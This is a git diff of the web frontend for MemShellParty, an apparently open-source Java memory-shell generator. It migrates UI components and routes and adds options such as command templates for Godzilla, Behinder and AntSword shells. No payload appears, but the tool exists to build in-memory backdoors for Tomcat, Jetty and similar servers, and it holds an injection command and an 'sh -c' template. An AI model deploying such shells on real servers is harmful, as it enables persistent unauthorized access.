    ); } function TableHeader({ className, ...props }: React.ComponentProps<"thead">) { - return ; + return ( + + ); } function TableBody({ className, ...props }: React.ComponentProps<"tbody">) { - return ; + return ( + + ); } function TableFooter({ className, ...props }: React.ComponentProps<"tfoot">) { return ( tr]:last:border-b-0", className)} + className={cn( + "bg-muted/50 border-t font-medium [&>tr]:last:border-b-0", + className, + )} {...props} /> ); @@ -32,7 +54,10 @@ function TableRow({ className, ...props }: React.ComponentProps<"tr">) { return ( ); @@ -64,10 +89,26 @@ function TableCell({ className, ...props }: React.ComponentProps<"td">) { ); } -function TableCaption({ className, ...props }: React.ComponentProps<"caption">) { +function TableCaption({ + className, + ...props +}: React.ComponentProps<"caption">) { return ( -
    + ); } -export { Table, TableHeader, TableBody, TableFooter, TableHead, TableRow, TableCell, TableCaption }; +export { + Table, + TableHeader, + TableBody, + TableFooter, + TableHead, + TableRow, + TableCell, + TableCaption, +}; diff --git a/web/src/components/ui/tabs.tsx b/web/app/components/ui/tabs.tsx similarity index 62% rename from web/src/components/ui/tabs.tsx rename to web/app/components/ui/tabs.tsx index bf7388e5..f6ac0d38 100644 --- a/web/src/components/ui/tabs.tsx +++ b/web/app/components/ui/tabs.tsx @@ -1,13 +1,25 @@ import { Tabs as TabsPrimitive } from "radix-ui"; -import * as React from "react"; +import type * as React from "react"; import { cn } from "@/lib/utils"; -function Tabs({ className, ...props }: React.ComponentProps) { - return ; +function Tabs({ + className, + ...props +}: React.ComponentProps) { + return ( + + ); } -function TabsList({ className, ...props }: React.ComponentProps) { +function TabsList({ + className, + ...props +}: React.ComponentProps) { return ( ) { +function TabsTrigger({ + className, + ...props +}: React.ComponentProps) { return ( ) { - return ; +function TabsContent({ + className, + ...props +}: React.ComponentProps) { + return ( + + ); } export { Tabs, TabsList, TabsTrigger, TabsContent }; diff --git a/web/src/components/ui/textarea.tsx b/web/app/components/ui/textarea.tsx similarity index 95% rename from web/src/components/ui/textarea.tsx rename to web/app/components/ui/textarea.tsx index 0735a8ca..4f6221ba 100644 --- a/web/src/components/ui/textarea.tsx +++ b/web/app/components/ui/textarea.tsx @@ -1,4 +1,4 @@ -import * as React from "react"; +import type * as React from "react"; import { cn } from "@/lib/utils"; diff --git a/web/src/components/ui/tooltip.tsx b/web/app/components/ui/tooltip.tsx similarity index 74% rename from web/src/components/ui/tooltip.tsx rename to web/app/components/ui/tooltip.tsx index 6ce648a7..222b0a9f 100644 --- a/web/src/components/ui/tooltip.tsx +++ b/web/app/components/ui/tooltip.tsx @@ -1,13 +1,24 @@ import { Tooltip as TooltipPrimitive } from "radix-ui"; -import * as React from "react"; +import type * as React from "react"; import { cn } from "@/lib/utils"; -function TooltipProvider({ delayDuration = 0, ...props }: React.ComponentProps) { - return ; +function TooltipProvider({ + delayDuration = 0, + ...props +}: React.ComponentProps) { + return ( + + ); } -function Tooltip({ ...props }: React.ComponentProps) { +function Tooltip({ + ...props +}: React.ComponentProps) { return ( @@ -15,7 +26,9 @@ function Tooltip({ ...props }: React.ComponentProps) { +function TooltipTrigger({ + ...props +}: React.ComponentProps) { return ; } diff --git a/web/src/config.ts b/web/app/config.ts similarity index 98% rename from web/src/config.ts rename to web/app/config.ts index 800e4dde..fa146280 100644 --- a/web/src/config.ts +++ b/web/app/config.ts @@ -47,7 +47,6 @@ function safeParseYup(schema: yup.ObjectSchema, data: unknown) { } const createEnv = () => { - // @ts-expect-error const envVars = Object.entries(import.meta.env).reduce< Record >((acc, curr) => { diff --git a/web/app/docs/page.tsx b/web/app/docs/page.tsx new file mode 100644 index 00000000..f3f29da1 --- /dev/null +++ b/web/app/docs/page.tsx @@ -0,0 +1,50 @@ +import browserCollections from "fumadocs-mdx:collections/browser"; +import { useFumadocsLoader } from "fumadocs-core/source/client"; +import { DocsLayout } from "fumadocs-ui/layouts/docs"; +import { + DocsBody, + DocsDescription, + DocsPage, + DocsTitle, +} from "fumadocs-ui/layouts/docs/page"; +import defaultMdxComponents from "fumadocs-ui/mdx"; +import { baseOptions } from "@/lib/layout.shared"; +import { source } from "@/lib/source"; +import type { Route } from "./+types/page"; + +export async function loader({ params }: Route.LoaderArgs) { + const slugs = params["*"].split("/").filter((v) => v.length > 0); + const page = source.getPage(slugs); + if (!page) throw new Response("Not found", { status: 404 }); + + return { + path: page.path, + pageTree: await source.serializePageTree(source.pageTree), + }; +} + +const clientLoader = browserCollections.docs.createClientLoader({ + component({ toc, default: Mdx, frontmatter }) { + return ( + + {frontmatter.title} + + {frontmatter.title} + {frontmatter.description} + + + + + ); + }, +}); + +export default function Page({ loaderData }: Route.ComponentProps) { + const Content = clientLoader.getComponent(loaderData.path); + const { pageTree } = useFumadocsLoader(loaderData); + return ( + + + + ); +} diff --git a/web/app/docs/search.ts b/web/app/docs/search.ts new file mode 100644 index 00000000..409a70c1 --- /dev/null +++ b/web/app/docs/search.ts @@ -0,0 +1,17 @@ +import { stopwords as mandarinStopwords } from "@orama/stopwords/mandarin"; +import { createTokenizer } from "@orama/tokenizers/mandarin"; +import { createFromSource } from "fumadocs-core/search/server"; +import { source } from "@/lib/source"; + +const server = createFromSource(source, { + components: { + tokenizer: createTokenizer({ + language: "mandarin", + stopWords: mandarinStopwords, + }), + }, +}); + +export async function loader() { + return server.staticGET(); +} diff --git a/web/src/i18n/common/en.json b/web/app/i18n/common/en.json similarity index 76% rename from web/src/i18n/common/en.json rename to web/app/i18n/common/en.json index 6d6477c8..7027c1be 100644 --- a/web/src/i18n/common/en.json +++ b/web/app/i18n/common/en.json @@ -1,7 +1,7 @@ { "about": "About", "basicInfo": "BasicInfo", - "byPassJavaModule": "Bypass JavaModule", + "byPassJavaModule": "BypassModule", "cancel": "Cancel", "copyLabelSuccess": "Copy {{label}} successfully", "copySuccess": "Copy successfully", @@ -34,5 +34,12 @@ "urlPattern": "URL Pattern", "usage": "Usage", "version.updateAvailable": "Update Available", - "version.updateAvailableTooltip": "Click to Open Github Release Page ( v{{currentVersion}} -> v{{latestVersion}})" + "version.updateAvailableTooltip": "Click to Open Github Release Page ( v{{currentVersion}} -> v{{latestVersion}})", + "shellTool": "Shell Tool", + "lambdaSuffix": "LambdaSuffix", + "probe": "Probe Mode", + "advancedConfig": "Advanced Config", + "commandTemplate": "Command Template", + "commandTemplate.placeholder": "e.g., sh -c \"{command}\" 2>&1", + "commandTemplate.description": "Use {command} as placeholder" } diff --git a/web/src/i18n/common/zh-CN.json b/web/app/i18n/common/zh-CN.json similarity index 75% rename from web/src/i18n/common/zh-CN.json rename to web/app/i18n/common/zh-CN.json index 0ff9c890..29bd39b3 100644 --- a/web/src/i18n/common/zh-CN.json +++ b/web/app/i18n/common/zh-CN.json @@ -1,7 +1,7 @@ { "about": "关于", "basicInfo": "基本信息", - "byPassJavaModule": "绕过 Java 模块限制", + "byPassJavaModule": "绕过模块限制", "cancel": "取消", "copyLabelSuccess": "复制 {{label}} 成功", "copySuccess": "复制成功", @@ -34,5 +34,12 @@ "urlPattern": "请求路径", "usage": "使用指南", "version.updateAvailable": "有可用升级", - "version.updateAvailableTooltip": "点击前往 GitHub Release ( v{{currentVersion}} -> v{{latestVersion}})" + "version.updateAvailableTooltip": "点击前往 GitHub Release ( v{{currentVersion}} -> v{{latestVersion}})", + "shellTool": "内存马工具", + "lambdaSuffix": "Lambda 类名后缀", + "probe": "回显模式", + "advancedConfig": "高级配置", + "commandTemplate": "命令模板", + "commandTemplate.placeholder": "例如:sh -c \"{command}\" 2>&1", + "commandTemplate.description": "使用 {command} 作为占位符" } diff --git a/web/src/i18n/i18n.ts b/web/app/i18n/i18n.ts similarity index 87% rename from web/src/i18n/i18n.ts rename to web/app/i18n/i18n.ts index c889840f..3f4c4ce8 100644 --- a/web/src/i18n/i18n.ts +++ b/web/app/i18n/i18n.ts @@ -8,15 +8,18 @@ import probeshellEN from "@/i18n/probeshell/en.json"; import probeshellZH from "@/i18n/probeshell/zh-CN.json"; const getStoredLanguage = () => { + if (typeof window === "undefined") { + return "zh-CN"; + } const storedLang = localStorage.getItem("i18nextLng"); if (storedLang && ["en", "zh-CN"].includes(storedLang)) { return storedLang; } const browserLang = navigator.language.split("-")[0]; - return ["en", "zh-CN"].includes(browserLang) ? browserLang : "en"; + return ["en", "zh-CN"].includes(browserLang) ? browserLang : "zh-CN"; }; -const fallbackLng = "en"; +const fallbackLng = "zh-CN"; export const ns = [ "default", "common", @@ -51,7 +54,9 @@ i18n.use(initReactI18next).init({ }); i18n.on("languageChanged", (lng) => { - localStorage.setItem("i18nextLng", lng); + if (typeof window !== "undefined") { + localStorage.setItem("i18nextLng", lng); + } }); export default i18n; diff --git a/web/src/i18n/memshell/en.json b/web/app/i18n/memshell/en.json similarity index 98% rename from web/src/i18n/memshell/en.json rename to web/app/i18n/memshell/en.json index 8965a5a3..8458bd88 100644 --- a/web/src/i18n/memshell/en.json +++ b/web/app/i18n/memshell/en.json @@ -47,7 +47,7 @@ "tips.execute-command1": "Execute the command to inject: java -jar /path/to/agent.jar pid", "tips.get-pid": "Get the process pid of the target jvm (use jps or ps)", "tips.handlerUrlPattern": "HandlerMethod/HandlerFunction type requires a specific URL Pattern, e.g., /hello_handler", - "tips.serverVersion": "serverVersion is required for TongWeb Valve", + "tips.serverVersion": "serverVersion is required", "tips.servletUrlPattern": "Servlet type requires a specific URL Pattern, e.g., /hello_servlet", "tips.shellBytesEmpty": "Shell bytes is empty, please generate shell first", "tips.shellToolNotSelected": "Please select a shell tool type first", diff --git a/web/src/i18n/memshell/zh-CN.json b/web/app/i18n/memshell/zh-CN.json similarity index 98% rename from web/src/i18n/memshell/zh-CN.json rename to web/app/i18n/memshell/zh-CN.json index 778a9fd0..2894fdbd 100644 --- a/web/src/i18n/memshell/zh-CN.json +++ b/web/app/i18n/memshell/zh-CN.json @@ -47,7 +47,7 @@ "tips.execute-command1": "执行命令进行注入:java -jar /path/to/agent.jar pid", "tips.get-pid": "获取目标 jvm 的进程 pid(使用 jps 或 ps)", "tips.handlerUrlPattern": "HandlerMethod/HandlerFunction 类型的需要填写具体的 URL Pattern,例如 /hello_handler", - "tips.serverVersion": "TongWeb Valve 需要指定 serverVersion", + "tips.serverVersion": "当前挂载类型必须指定 serverVersion", "tips.servletUrlPattern": "Servlet 类型的需要填写具体的 URL Pattern,例如 /hello_servlet", "tips.shellBytesEmpty": "内存马字节码为空,无法下载,请先生成内存马", "tips.shellToolNotSelected": "请先选择内存马工具类型", diff --git a/web/src/i18n/probeshell/en.json b/web/app/i18n/probeshell/en.json similarity index 100% rename from web/src/i18n/probeshell/en.json rename to web/app/i18n/probeshell/en.json diff --git a/web/src/i18n/probeshell/zh-CN.json b/web/app/i18n/probeshell/zh-CN.json similarity index 100% rename from web/src/i18n/probeshell/zh-CN.json rename to web/app/i18n/probeshell/zh-CN.json diff --git a/web/app/lib/config.tsx b/web/app/lib/config.tsx new file mode 100644 index 00000000..fb0e1d95 --- /dev/null +++ b/web/app/lib/config.tsx @@ -0,0 +1,36 @@ +import type { LinkItemType } from "fumadocs-ui/layouts/shared"; +import { LanguageSwitcher } from "@/components/language-switcher"; + +export const siteConfig = { + name: "MemShellParty", + url: "https://party.memshell.news", + github: "https://github.com/ReaJason/MemShellParty", + latestRelease: "https://github.com/ReaJason/MemShellParty/releases/latest", + author: "ReaJason", + authorGithub: "https://github.com/ReaJason", + authorIntro: "Java RASP Developer", + blog: "https://reajason.eu.org", + navLinks: [ + { + text: "MemShellGenerator", + url: "/memshell", + }, + { + text: "ProbeShellGenerator", + url: "/probeshell", + }, + { + text: "Documents", + url: "/docs", + }, + { + text: "About", + url: "/about", + }, + { + type: "custom", + children: , + secondary: true, + }, + ] as LinkItemType[], +}; diff --git a/web/app/lib/layout.shared.tsx b/web/app/lib/layout.shared.tsx new file mode 100644 index 00000000..35ce7ca2 --- /dev/null +++ b/web/app/lib/layout.shared.tsx @@ -0,0 +1,9 @@ +import type { BaseLayoutProps } from "fumadocs-ui/layouts/shared"; +export function baseOptions(): BaseLayoutProps { + return { + githubUrl: "https://github.com/ReaJason/MemShellParty", + nav: { + title: "MemShellParty", + }, + }; +} diff --git a/web/app/lib/source.ts b/web/app/lib/source.ts new file mode 100644 index 00000000..986e85b7 --- /dev/null +++ b/web/app/lib/source.ts @@ -0,0 +1,9 @@ +import { loader } from "fumadocs-core/source"; +import { lucideIconsPlugin } from "fumadocs-core/source/lucide-icons"; +import { docs } from "../../.source/server"; + +export const source = loader({ + source: docs.toFumadocsSource(), + baseUrl: "/docs", + plugins: [lucideIconsPlugin()], +}); diff --git a/web/src/lib/utils.ts b/web/app/lib/utils.ts similarity index 95% rename from web/src/lib/utils.ts rename to web/app/lib/utils.ts index ae962470..41b91379 100644 --- a/web/src/lib/utils.ts +++ b/web/app/lib/utils.ts @@ -78,7 +78,8 @@ export function shouldHidden(shellType: string | undefined) { shellType.endsWith("Valve") || shellType.startsWith("Agent") || shellType.endsWith("Interceptor") || - shellType.endsWith("NettyHandler") || - shellType.endsWith("WebFilter") + shellType.endsWith("Handler") || + shellType.endsWith("WebFilter") || + shellType === "Customizer" ); } diff --git a/web/src/providers/query-client-provider.tsx b/web/app/providers/query-client-provider.tsx similarity index 100% rename from web/src/providers/query-client-provider.tsx rename to web/app/providers/query-client-provider.tsx diff --git a/web/app/root.tsx b/web/app/root.tsx new file mode 100644 index 00000000..2865dcd3 --- /dev/null +++ b/web/app/root.tsx @@ -0,0 +1,88 @@ +import { RootProvider } from "fumadocs-ui/provider/react-router"; +import { + isRouteErrorResponse, + Links, + Meta, + Outlet, + Scripts, + ScrollRestoration, +} from "react-router"; +import type { Route } from "./+types/root"; +import "./app.css"; +import { I18nextProvider } from "react-i18next"; +import SearchDialog from "@/components/search"; +import { TailwindIndicator } from "@/components/tailwind-indicator"; +import { Toaster } from "@/components/ui/sonner"; +import { env } from "@/config"; +import i18n from "./i18n/i18n"; +import { QueryProvider } from "./providers/query-client-provider"; + +export const links: Route.LinksFunction = () => [ + { rel: "preconnect", href: "https://fonts.googleapis.com" }, + { + rel: "preconnect", + href: "https://fonts.gstatic.com", + crossOrigin: "anonymous", + }, + { + rel: "stylesheet", + href: "https://fonts.googleapis.com/css2?family=Inter:ital,opsz,wght@0,14..32,100..900;1,14..32,100..900&display=swap", + }, +]; + +export function Layout({ children }: { children: React.ReactNode }) { + return ( + + + + + + + + + + + + {children} + + {env.MODE !== "production" && } + + + + + + ); +} + +export default function App() { + return ; +} + +export function ErrorBoundary({ error }: Route.ErrorBoundaryProps) { + let message = "Oops!"; + let details = "An unexpected error occurred."; + let stack: string | undefined; + + if (isRouteErrorResponse(error)) { + message = error.status === 404 ? "404" : "Error"; + details = + error.status === 404 + ? "The requested page could not be found." + : error.statusText || details; + } else if (import.meta.env.DEV && error && error instanceof Error) { + details = error.message; + stack = error.stack; + } + + return ( +
    +

    {message}

    +

    {details}

    + {stack && ( +
    +          {stack}
    +        
    + )} +
    + ); +} diff --git a/web/app/routes.ts b/web/app/routes.ts new file mode 100644 index 00000000..4e869175 --- /dev/null +++ b/web/app/routes.ts @@ -0,0 +1,12 @@ +import { index, type RouteConfig, route } from "@react-router/dev/routes"; + +export default [ + index("routes/memshell.tsx", { + id: "index-memshell", + }), + route("docs/*", "docs/page.tsx"), + route("api/search", "docs/search.ts"), + route("about", "routes/about.tsx"), + route("memshell", "routes/memshell.tsx"), + route("probeshell", "routes/probeshell.tsx"), +] satisfies RouteConfig; diff --git a/web/app/routes/about.tsx b/web/app/routes/about.tsx new file mode 100644 index 00000000..ccd7caee --- /dev/null +++ b/web/app/routes/about.tsx @@ -0,0 +1,347 @@ +import { useQuery } from "@tanstack/react-query"; +import { motion } from "framer-motion"; +import { HomeLayout } from "fumadocs-ui/layouts/home"; +import { + AlertCircle, + Code, + Download, + ExternalLink, + Github, + Globe, + Heart, + Mail, + Package, + Shield, + User, +} from "lucide-react"; +import { useTheme } from "next-themes"; +import { Link } from "react-router"; +import { LineShadowText } from "@/components/magicui/line-shadow-text"; +import { Alert, AlertDescription } from "@/components/ui/alert"; +import { Avatar, AvatarFallback, AvatarImage } from "@/components/ui/avatar"; +import { Badge } from "@/components/ui/badge"; +import { Button } from "@/components/ui/button"; +import { Card, CardContent, CardFooter } from "@/components/ui/card"; +import { env } from "@/config"; +import { siteConfig } from "@/lib/config"; +import { baseOptions } from "../lib/layout.shared"; + +type VersionInfo = { + currentVersion: string; + latestVersion: string; + hasUpdate: boolean; + releaseUrl: string; +}; + +export default function AboutPage() { + const theme = useTheme(); + const shadowColor = theme.theme === "dark" ? "#ffffff" : "#000000"; + const { + data: updateInfo, + isPending, + error, + } = useQuery({ + queryKey: ["version"], + queryFn: async () => { + const response = await fetch(`${env.API_URL}/api/version`); + if (response.ok) { + return await response.json(); + } + return "unknown"; + }, + }); + const inProduction = env.MODE === "production"; + + const containerVariants = { + hidden: { opacity: 0 }, + visible: { + opacity: 1, + transition: { + staggerChildren: 0.1, + }, + }, + }; + + const itemVariants = { + hidden: { opacity: 0, y: 20 }, + visible: { + opacity: 1, + y: 0, + transition: { + duration: 0.5, + }, + }, + }; + + return ( + +
    +
    +
    +
    + +
    + + + For Security Research & Authorized Testing Only + +
    +

    + + MemShell + + Party + + +

    +

    + A self-hosted, visual platform for one-click generation of Java + memory shells for common middleware and frameworks. The ultimate + learning platform for security researchers. +

    +
    +
    +
    + + {updateInfo?.hasUpdate && inProduction && ( + + + + + + New version {updateInfo.latestVersion} is available! (Current:{" "} + {updateInfo.currentVersion}) + + + + + + + + )} + + +
    + + + +
    + +

    Version

    +
    +
    +
    + + Current Version + + + {updateInfo?.currentVersion || "v0.0.0"} + +
    +
    + + Latest Version + + {isPending && ( + + Checking... + + )} + {error && ( + {error.message} + )} + {updateInfo && !error && ( + + {updateInfo.latestVersion} + + )} +
    +
    + License + MIT License +
    +
    +
    + + + Last test time: {new Date().toLocaleString()} + + +
    +
    + + + + +
    + +

    Author

    +
    +
    +
    + + + RJ + +
    +

    + {siteConfig.author} +

    +

    + {siteConfig.authorIntro} +

    +
    +
    + +
    +
    +
    +
    +
    +
    + + +
    +
    +

    Resources & Links

    +

    + Explore documentation and contribute to the project +

    +
    +
    + + + +

    Documentation

    +

    + Comprehensive guides and API references for using + MemShellParty effectively. +

    + + Read Docs + +
    +
    + + + + +

    Source Code

    +

    + View the source code, report issues, and contribute to the + development. +

    + + View Repository + +
    +
    + + + + +

    Support

    +

    + Star the project on GitHub and share it with the security + community. +

    + + Star on GitHub + +
    +
    +
    +
    +
    + +
    +
    +
    +

    {siteConfig.name}

    +

    + Built with ❤️ by{" "} + + {siteConfig.author} + +

    +
    +
    + © 2025 {siteConfig.name}. For authorized security testing only. +
    +
    +
    +
    +
    + ); +} diff --git a/web/src/pages/memshell.tsx b/web/app/routes/memshell.tsx similarity index 72% rename from web/src/pages/memshell.tsx rename to web/app/routes/memshell.tsx index d15dfd7c..8b40b14a 100644 --- a/web/src/pages/memshell.tsx +++ b/web/app/routes/memshell.tsx @@ -1,16 +1,17 @@ import { useQuery } from "@tanstack/react-query"; +import { HomeLayout } from "fumadocs-ui/layouts/home"; import { LoaderCircle, WandSparklesIcon } from "lucide-react"; import { useState, useTransition } from "react"; import { useForm } from "react-hook-form"; import { useTranslation } from "react-i18next"; -import { useLoaderData } from "react-router-dom"; import { toast } from "sonner"; import MainConfigCard from "@/components/memshell/main-config-card"; import PackageConfigCard from "@/components/memshell/package-config-card"; import ShellResult from "@/components/memshell/shell-result"; import { Button } from "@/components/ui/button"; -import { Form } from "@/components/ui/form.tsx"; -import { env } from "@/config.ts"; +import { Form } from "@/components/ui/form"; +import { env } from "@/config"; +import { siteConfig } from "@/lib/config"; import { type APIErrorResponse, type MainConfig, @@ -24,16 +25,15 @@ import { type MemShellFormSchema, memShellFormSchema, useYupValidationResolver, -} from "@/types/schema.ts"; -import { transformToPostData } from "@/utils/transformer.ts"; +} from "@/types/schema"; +import { transformToPostData } from "@/utils/transformer"; +import { baseOptions } from "../lib/layout.shared"; export default function MemShellPage() { - const urlParams = useLoaderData(); - const { data: serverConfig } = useQuery({ queryKey: ["serverConfig"], queryFn: async () => { - const response = await fetch(`${env.API_URL}/config/servers`); + const response = await fetch(`${env.API_URL}/api/config/servers`); return await response.json(); }, }); @@ -41,7 +41,7 @@ export default function MemShellPage() { const { data: mainConfig } = useQuery({ queryKey: ["mainConfig"], queryFn: async () => { - const response = await fetch(`${env.API_URL}/config`); + const response = await fetch(`${env.API_URL}/api/config`); return await response.json(); }, }); @@ -49,7 +49,7 @@ export default function MemShellPage() { const { data: packerConfig } = useQuery({ queryKey: ["packerConfig"], queryFn: async () => { - const response = await fetch(`${env.API_URL}/config/packers`); + const response = await fetch(`${env.API_URL}/api/config/packers`); return await response.json(); }, }); @@ -58,27 +58,27 @@ export default function MemShellPage() { const form = useForm({ resolver: useYupValidationResolver(memShellFormSchema, t), defaultValues: { - server: urlParams.server ?? "Tomcat", - serverVersion: urlParams.serverVersion ?? "unknown", - targetJdkVersion: urlParams.targetJdkVersion ?? "50", - debug: urlParams.debug ?? false, - byPassJavaModule: urlParams.byPassJavaModule ?? false, - shellClassName: urlParams.shellClassName ?? "", - shellTool: urlParams.shellTool ?? ShellToolType.Godzilla, - shellType: urlParams.shellType ?? "Listener", - urlPattern: urlParams.urlPattern ?? "/*", - godzillaPass: urlParams.godzillaPass ?? "", - godzillaKey: urlParams.godzillaKey ?? "", - commandParamName: urlParams.commandParamName ?? "", - behinderPass: urlParams.behinderPass ?? "", - antSwordPass: urlParams.antSwordPass ?? "", - headerName: urlParams.headerName ?? "User-Agent", - headerValue: urlParams.headerValue ?? "", - injectorClassName: urlParams.injectorClassName ?? "", - packingMethod: urlParams.packingMethod ?? "", - shrink: urlParams.shrink ?? true, + server: "Tomcat", + serverVersion: "unknown", + targetJdkVersion: "50", + debug: false, + byPassJavaModule: false, + shellClassName: "", + shellTool: ShellToolType.Godzilla, + shellType: "Listener", + urlPattern: "/*", + godzillaPass: "", + godzillaKey: "", + commandParamName: "", + behinderPass: "", + antSwordPass: "", + headerName: "User-Agent", + headerValue: "", + injectorClassName: "", + packingMethod: "", + shrink: true, staticInitialize: true, - shellClassBase64: urlParams.shellClassBase64 ?? "", + shellClassBase64: "", }, }); @@ -94,7 +94,7 @@ export default function MemShellPage() { startTransition(async () => { try { const postData = transformToPostData(data); - const response = await fetch(`${env.API_URL}/memshell/generate`, { + const response = await fetch(`${env.API_URL}/api/memshell/generate`, { method: "POST", headers: { "Content-Type": "application/json", @@ -123,7 +123,7 @@ export default function MemShellPage() { }; return ( -
    +
    -
    + ); } diff --git a/web/src/pages/probeshell.tsx b/web/app/routes/probeshell.tsx similarity index 88% rename from web/src/pages/probeshell.tsx rename to web/app/routes/probeshell.tsx index efbc886f..160bdacc 100644 --- a/web/src/pages/probeshell.tsx +++ b/web/app/routes/probeshell.tsx @@ -1,4 +1,5 @@ import { useQuery } from "@tanstack/react-query"; +import { HomeLayout } from "fumadocs-ui/layouts/home"; import { LoaderCircle, WandSparklesIcon } from "lucide-react"; import { useState, useTransition } from "react"; import { useForm } from "react-hook-form"; @@ -10,6 +11,7 @@ import ShellResult from "@/components/probeshell/shell-result"; import { Button } from "@/components/ui/button"; import { Form } from "@/components/ui/form"; import { env } from "@/config"; +import { siteConfig } from "@/lib/config"; import type { APIErrorResponse, PackerConfig, @@ -25,12 +27,13 @@ import { useYupValidationProbeResolver, } from "@/types/schema"; import { transformToProbePostData } from "@/utils/transformer"; +import { baseOptions } from "../lib/layout.shared"; export default function ProbeShellGenerator() { const { data: serverConfig } = useQuery({ queryKey: ["serverConfig"], queryFn: async () => { - const response = await fetch(`${env.API_URL}/config/servers`); + const response = await fetch(`${env.API_URL}/api/config/servers`); return await response.json(); }, }); @@ -38,7 +41,7 @@ export default function ProbeShellGenerator() { const { data: packerConfig } = useQuery({ queryKey: ["packerConfig"], queryFn: async () => { - const response = await fetch(`${env.API_URL}/config/packers`); + const response = await fetch(`${env.API_URL}/api/config/packers`); return await response.json(); }, }); @@ -48,11 +51,11 @@ export default function ProbeShellGenerator() { const form = useForm({ resolver: useYupValidationProbeResolver(probeShellFormSchema, t), defaultValues: { - probeMethod: "Sleep", - probeContent: "Server", + probeMethod: "ResponseBody", + probeContent: "Command", host: "", server: "Tomcat", - reqParamName: "payload", + reqParamName: "", seconds: 5, sleepServer: "Tomcat", shrink: true, @@ -72,7 +75,7 @@ export default function ProbeShellGenerator() { startTransition(async () => { try { const postData = transformToProbePostData(data); - const response = await fetch(`${env.API_URL}/probe/generate`, { + const response = await fetch(`${env.API_URL}/api/probe/generate`, { method: "POST", headers: { "Content-Type": "application/json", @@ -100,7 +103,7 @@ export default function ProbeShellGenerator() { }); }; return ( -
    +
    -
    + ); } diff --git a/web/src/types/memshell.ts b/web/app/types/memshell.ts similarity index 97% rename from web/src/types/memshell.ts rename to web/app/types/memshell.ts index 00349497..67f93d04 100644 --- a/web/src/types/memshell.ts +++ b/web/app/types/memshell.ts @@ -8,6 +8,8 @@ export interface ShellConfig { byPassJavaModule?: boolean; obfuscate?: boolean; shrink?: boolean; + probe?: boolean; + lambdaSuffix?: boolean; } export interface ShellToolConfig { @@ -15,6 +17,7 @@ export interface ShellToolConfig { godzillaPass?: string; godzillaKey?: string; commandParamName?: string; + commandTemplate?: string; behinderPass?: string; antSwordPass?: string; headerName?: string; diff --git a/web/src/types/probeshell.ts b/web/app/types/probeshell.ts similarity index 94% rename from web/src/types/probeshell.ts rename to web/app/types/probeshell.ts index a8979620..3d9ed708 100644 --- a/web/src/types/probeshell.ts +++ b/web/app/types/probeshell.ts @@ -17,6 +17,7 @@ export interface ProbeConfig { byPassJavaModule?: boolean; shrink?: boolean; staticInitialize?: boolean; + lambdaSuffix?: boolean; } export interface ProbeContentConfig { @@ -25,6 +26,7 @@ export interface ProbeContentConfig { sleepServer?: string; server?: string; reqParamName?: string; + commandTemplate?: string; } export interface DNSLogConfig { @@ -39,6 +41,7 @@ export interface SleepConfig { export interface ResponseBodyConfig { server: string; reqParamName: string; + commandTemplate: string; } export interface PayloadFormValues { diff --git a/web/src/types/schema.ts b/web/app/types/schema.ts similarity index 92% rename from web/src/types/schema.ts rename to web/app/types/schema.ts index 4614ecd4..471025a4 100644 --- a/web/src/types/schema.ts +++ b/web/app/types/schema.ts @@ -20,12 +20,15 @@ export const memShellFormSchema = yup.object({ behinderPass: yup.string().optional(), antSwordPass: yup.string().optional(), commandParamName: yup.string().optional(), + commandTemplate: yup.string().optional(), implementationClass: yup.string().optional(), headerName: yup.string().optional(), headerValue: yup.string().optional(), injectorClassName: yup.string().optional(), packingMethod: yup.string().required().min(1), shrink: yup.boolean().optional(), + lambdaSuffix: yup.boolean().optional(), + probe: yup.boolean().optional(), shellClassBase64: yup.string().optional(), encryptor: yup.string().optional(), }); @@ -99,6 +102,18 @@ export const useYupValidationResolver = ( }; } + if ( + values.server === "Jetty" && + (values.shellType === "Handler" || + values.shellType === "JakartaHandler") && + values.serverVersion === "unknown" + ) { + errors[serverVersion] = { + type: "custom", + message: t("memshell:tips.serverVersion"), + }; + } + return { values, errors, @@ -145,6 +160,7 @@ export const probeShellFormSchema = yup.object().shape({ host: yup.string().optional(), server: yup.string().optional(), reqParamName: yup.string().optional(), + commandTemplate: yup.string().optional(), seconds: yup.number().optional(), sleepServer: yup.string().optional(), packingMethod: yup.string().required(), @@ -153,6 +169,7 @@ export const probeShellFormSchema = yup.object().shape({ byPassJavaModule: yup.boolean().optional(), shrink: yup.boolean().optional(), staticInitialize: yup.boolean().optional(), + lambdaSuffix: yup.boolean().optional(), }); type ProbeValidationResult = ResolverResult; @@ -172,7 +189,6 @@ export const useYupValidationProbeResolver = ( })) as ProbeShellFormSchema; const host: keyof ProbeShellFormSchema = "host"; - const reqParamName: keyof ProbeShellFormSchema = "reqParamName"; const errors = {} as any; if (values.probeMethod === "DNSLog" && !values.host) { @@ -181,13 +197,6 @@ export const useYupValidationProbeResolver = ( message: t("probeshell:tips.dnslog.host.required"), }; } - - if (values.probeMethod === "ResponseBody" && !values.reqParamName) { - errors[reqParamName] = { - type: "custom", - message: t("probeshell:tips.response.reqParamName.required"), - }; - } return { values, errors, diff --git a/web/src/utils/transformer.ts b/web/app/utils/transformer.ts similarity index 93% rename from web/src/utils/transformer.ts rename to web/app/utils/transformer.ts index 124b0188..0016a603 100644 --- a/web/src/utils/transformer.ts +++ b/web/app/utils/transformer.ts @@ -19,12 +19,15 @@ export function transformToPostData(formValue: MemShellFormSchema) { targetJreVersion: formValue.targetJdkVersion, byPassJavaModule: formValue.byPassJavaModule, shrink: formValue.shrink, + lambdaSuffix: formValue.lambdaSuffix, + probe: formValue.probe, }; const shellToolConfig: ShellToolConfig = { shellClassName: formValue.shellClassName, godzillaPass: formValue.godzillaPass, godzillaKey: formValue.godzillaKey, commandParamName: formValue.commandParamName, + commandTemplate: formValue.commandTemplate, behinderPass: formValue.behinderPass, antSwordPass: formValue.antSwordPass, headerName: formValue.headerName, @@ -56,6 +59,7 @@ export function transformToProbePostData(formValue: ProbeShellFormSchema) { debug: formValue.debug, byPassJavaModule: formValue.byPassJavaModule, staticInitialize: formValue.staticInitialize, + lambdaSuffix: formValue.lambdaSuffix, }; const probeContentConfig: ProbeContentConfig = { host: formValue.host, @@ -63,6 +67,7 @@ export function transformToProbePostData(formValue: ProbeShellFormSchema) { sleepServer: formValue.sleepServer, server: formValue.server, reqParamName: formValue.reqParamName, + commandTemplate: formValue.commandTemplate, }; return { @@ -81,7 +86,7 @@ export function generateShareableUrl(values: MemShellFormSchema): string { const params = new URLSearchParams(); // Helper function to add parameters only if they have non-default values - const addParam = (key: string, value: any, defaultValue: any) => { + const addParam = (key: string, value: unknown, defaultValue: unknown) => { if (value !== defaultValue) 